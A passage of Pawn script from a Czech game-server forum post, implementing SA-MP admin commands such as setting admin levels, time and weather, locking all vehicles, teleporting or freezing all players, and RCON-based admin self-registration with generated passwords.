else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát Admin-Level NPC hráčovi");
else
{
new string[256];
format(string, sizeof(string), "Administrátor %s (%d) nastavil hráčovi %s (%d) Administrátora levelu %d !", PlayerName(playerid), playerid, PlayerName(id), id, strval(params[chrfind(' ',params)+1]));
SendClientMessageToAll(COLOR_ADMIN, string);
pAdminLevel[id] = strval(params[chrfind(' ',params)+1]);
new way[64];
format(way, 64, "AS/%s.cfg", PlayerName(playerid));
if(pAdminLevel[playerid] > 0)
{
if(!fexist(way))
{
dini_Create(way);
new pass[16];
format(pass, 16, "%s", randompass(8));
dini_Set(way, "password", lyrhash(pass));
new str[128];
SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat pri každém přihlašování");
format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, Toto heslo si dobře zapamatuj", pass);
SendClientMessage(playerid, 0xFFFFFFFF, str);
SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem{ffff70}/achangepass [ NOVÉ HESLO ]");
}
dini_IntSet(way, "adminlevel", pAdminLevel[playerid]);
}
else if(fexist(way)) fremove(way);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_settime(playerid, params[])
{
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ HOURS ] [ MINUTES ]");
else if(strval(params)<0 || strval(params)>23 || strval(params[chrfind(' ',params)+1])<0 || strval(params[chrfind(' ',params)+1])>59) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /settime [ 0-23 ] [ 0-59 ]");
else
{
new string[128];
format(string, sizeof(string), "Administrátor %s nastavil čas na %02d:%02d.", PlayerName(playerid), strval(params), strval(params[chrfind(' ',params)+1]));
SendClientMessageToAll(COLOR_ADMIN, string);
SetWorldTime(strval(params));
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_setweather(playerid, params[])
{
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ WEATHERID ]");
else if(strval(params)<0 || strval(params)>45) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setweather [ 0-45 ]");
else
{
new string[128];
format(string, sizeof(string), "Administrátor %s nastavil počasí %d.", PlayerName(playerid), strval(params));
SendClientMessageToAll(COLOR_ADMIN, string);
SetWeather(strval(params));
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
dcmd_elock(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else
{
new string[100];
format(string, sizeof(string), "Administrátor %s zamkl všechny auta", PlayerName(playerid));
for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 1);
SendClientMessageToAll(COLOR_ADMIN, string);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_getall(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else
{
new string[115];
format(string, sizeof(string), "Administrátor %s portl k sobě všechny hráče", PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
new Float:x, Float:y, Float:z;
GetPlayerPos(playerid, x, y, z);
for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid)
{
if(GetPlayerVehicleID(i) == 0)
{
SetPlayerPos(i, x+1, y, z);
SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid));
SetPlayerInterior(i, GetPlayerInterior(playerid));
}
else
{
SetVehiclePos(GetPlayerVehicleID(i), x+3, y, z);
SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid));
SetPlayerInterior(i, GetPlayerInterior(playerid));
SetVehicleVirtualWorld(GetPlayerVehicleID(i), GetPlayerVirtualWorld(playerid));
}
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_freezeall(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else
{
new string[100];
format(string, sizeof(string), "Administrátor %s zmrazil všechny hráče", PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid)
{
TogglePlayerControllable(i, 0);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_iamadmin(playerid, params[])
{
#pragma unused params
if(!IsPlayerAdmin(playerid)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Musíš být přihlášený přes Rcon");
else
{
pAdminLevel[playerid] = 3;
GameTextForPlayer(playerid, "~g~~h~Hotovo", 1000, 5);
new way[64];
format(way, 64, "AS/%s.cfg", PlayerName(playerid));
if(!fexist(way))
{
dini_Create(way);
new pass[16];
format(pass, 16, "%s", randompass(8));
dini_Set(way, "password", lyrhash(pass));
new str[128];
SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat při každém přihlašování");
format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, toto heslo si dobře zapamatuj, při jeho strátě už to nepůjde obnovit", pass);
SendClientMessage(playerid, 0xFFFFFFFF, str);
SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem {ffff70}/achangepass [ NOVÉ HESLO ]");
}
dini_IntSet(way, "adminlevel", 5);
}
return 1;
}
Edited by LexterLink to comment
Share on other sites
8 odpovědí na tuto otázku
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now